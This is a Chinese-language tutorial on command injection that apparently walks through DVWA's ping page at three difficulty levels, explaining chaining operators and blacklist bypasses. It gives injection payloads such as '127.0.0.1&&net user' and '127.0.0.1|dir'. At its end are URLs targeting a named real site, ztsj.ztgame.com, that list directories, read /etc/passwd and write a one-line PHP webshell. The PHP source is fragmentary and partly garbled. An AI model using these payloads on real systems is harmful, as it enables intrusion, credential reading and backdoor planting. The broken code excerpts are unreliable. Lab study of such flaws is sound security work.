开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。
在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。
command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
command1 | command2 只执行command2
command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2
源码:
{$cmd}
";
}
?>
strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。
php_uname:返回运行PHP操作系统的相关描述。s:返回操作系统名称。n:返回主机名。r:返回版本名。
服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user
中等级使用的是str_replace吧‘&&’,‘;’替换为空字符串,所以可以构造payload:127.0.0.1 &;&whoami。
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤。可以构造payload:127.0.0.1|dir
读取当前目录文件:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27
查看etc目录:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27
读取系统密码:
http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27
写入一句话木马:
http://ztsj.ztgame.com/stat.php?url=%27%26echo+""+>>+php.php+%26%27